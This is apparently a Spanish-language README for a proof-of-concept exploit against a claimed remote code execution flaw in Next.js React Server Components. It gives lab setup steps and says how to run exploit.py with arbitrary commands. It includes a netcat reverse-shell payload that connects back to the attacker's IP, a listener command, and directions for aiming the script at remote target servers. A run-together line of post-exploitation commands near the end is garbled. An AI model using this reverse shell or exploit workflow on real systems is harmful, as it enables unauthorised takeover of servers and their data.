
Un exploit de prueba de concepto que demuestra una vulnerabilidad de ejecución remota de código en aplicaciones Next.js a través de la contaminación de prototipos en la canalización de renderizado de los componentes de servidor de React.
Esta herramienta es solo para fines educativos y de pruebas autorizadas. El uso no autorizado contra sistemas que no posees o para los que no tienes permiso de probar es ilegal.
git clone https://github.com/securifyai/React2Shell-CVE-2025-55182.git
cd React2Shell-CVE-2025-55182
# Create a new Next.js app with the vulnerable version
npm create [email protected] react2shell-lab
# Accept all defaults when prompted
cd react2shell-lab
Nota: El laboratorio preconfigurado ya incluye el código vulnerable necesario. Si lo creas desde cero, tendrás que añadir manualmente los componentes vulnerables.
cd react2shell-lab
npm install
En la terminal 1:
npm run dev
El servidor debería iniciarse en http://localhost:3000
El repositorio incluye un archivo exploit.py que demuestra la vulnerabilidad. Edita la variable COMMAND en el archivo con el comando deseado:
COMMAND = 'whoami' # Change this to any command you want to execute
Ejecuta el exploit:
python3 exploit.py
Configura un listener de netcat en una nueva terminal:
nc -nvlp 4444
Edita exploit.py y actualiza el comando con tu payload de shell reversa:
COMMAND = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f'
Reemplaza YOUR_IP con la dirección IP de tu máquina local.
Ejecuta el exploit:
python3 exploit.py
Edita la variable HOST en el script del exploit para apuntar a servidores remotos:
HOST = 'target-ip-address' # Replace with target IP
PORT = 3000 # Default Next.js port
ls -launame -awhoamiifconfig o ip aEste proyecto está licenciado bajo la Licencia MIT. Consulta el archivo LICENSE para más detalles.
Esta versión solicita al usuario la entrada del objetivo remoto y de las IP y puertos del atacante. El cuerpo del POST (body_parts) también se recorta ligeramente en esta versión.
https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained